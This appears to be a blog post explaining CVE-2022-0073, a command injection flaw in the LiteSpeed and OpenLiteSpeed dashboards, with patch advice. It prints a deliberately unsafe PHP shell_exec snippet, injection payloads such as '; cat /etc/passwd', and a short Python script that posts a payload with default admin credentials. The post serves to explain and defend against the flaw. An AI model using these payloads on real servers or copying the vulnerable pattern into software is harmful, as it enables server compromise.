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LiteSpeed Web Server is popular for its speed and user-friendly dashboard, but security is critical in web server management. In early 2022, a serious vulnerability—CVE-2022-0073—was uncovered in both the open-source OpenLiteSpeed and the commercial LiteSpeed Web Server. This security flaw allowed hackers to execute system commands just by interacting with the dashboard.
Today, we’ll break down how this bug works, show the code behind it, share safe exploit details, and direct you to original sources so you can stay protected.
What is CVE-2022-0073?
CVE-2022-0073 is a vulnerability due to improper input validation in the LiteSpeed dashboards before version 1.7.16.1. By failing to check and sanitize what users put in certain dashboard fields, LiteSpeed unintentionally gave attackers power to run system commands—like adding users or messing with files—using only their web browsers.
LiteSpeed Web Server (before 1.7.16.1)
Severity: Critical
Type: Command Injection
CVE page: CVE-2022-0073 at NVD
How Did the Bug Happen?
Dashboards let admins configure or test the server. LiteSpeed’s dashboard let users test configurations by entering parameters. The server took these, and (without careful checking) ran them on the system shell.
The problem?
If a hacker sneaks in system cheats (like ; cat /etc/passwd), the dashboard blindly passes it to the operating system. It doesn’t strip out dangerous characters, letting attackers do almost anything a system user could.
Below is a simplified version of what this kind of code looks like
// Example Only: Don't Use This!
$input = $_POST['domain_name']; // Data from user form
$command = "/usr/local/lsws/bin/lswsctrl test $input";
$output = shell_exec($command); // No validation!
echo $output;
If the attacker writes example.com; whoami, the executed command will actually be
/usr/local/lsws/bin/lswsctrl test example.com; whoami
This not only tests the domain, but now also prints who the system user is. Attackers can swap 'whoami' for much more dangerous commands.
Exploitation Steps
1. Find a dashboard feature that passes your input to shell commands (e.g., domain tester, SSL cert tool).
2. Insert malicious input with system command characters—like ; (semicolon) to break out of the intended command.
`bash
mywebsite.com; cat /etc/passwd
Example Exploit Code (Python)
This example posts to a dashboard API endpoint, sneaking in a command.
import requests
url = "https://target-server:708/api/example";
data = {'domain_name': 'site.com;id'}
headers = {'Authorization': 'Basic YWRtaW46cGFzc3dvcmQ='} # base64 for admin:password
response = requests.post(url, data=data, headers=headers, verify=False)
print(response.text)
*Warning: Only use for legal testing on servers you own!*
How to Fix
Upgrade Now!
LiteSpeed fixed this in version 1.7.16.1 and higher.
- OpenLiteSpeed Releases
- LiteSpeed Web Server Downloads
Links to More Details
- LiteSpeed Announcement
- CVE-2022-0073 on NIST NVD
- Full Patch Details
- Exploit-DB Reference (for educational purposes)
Final Word
CVE-2022-0073 is a reminder that simple mistakes in input validation can lead to full server compromise—especially on powerful admin dashboards. If you run LiteSpeed or OpenLiteSpeed, make sure you’re updated. Never trust user input, always sanitize anything that heads to the OS, and close off dashboards you’re not using.
Stay safe, and keep your servers locked tight!
*Feel free to share, but don’t use this information for anything except for protecting your own systems. Responsible disclosure and patching help everyone.*
Timeline
Published on: 10/27/2022 20:15:00 UTC
Last modified on: 12/09/2022 17:08:00 UTC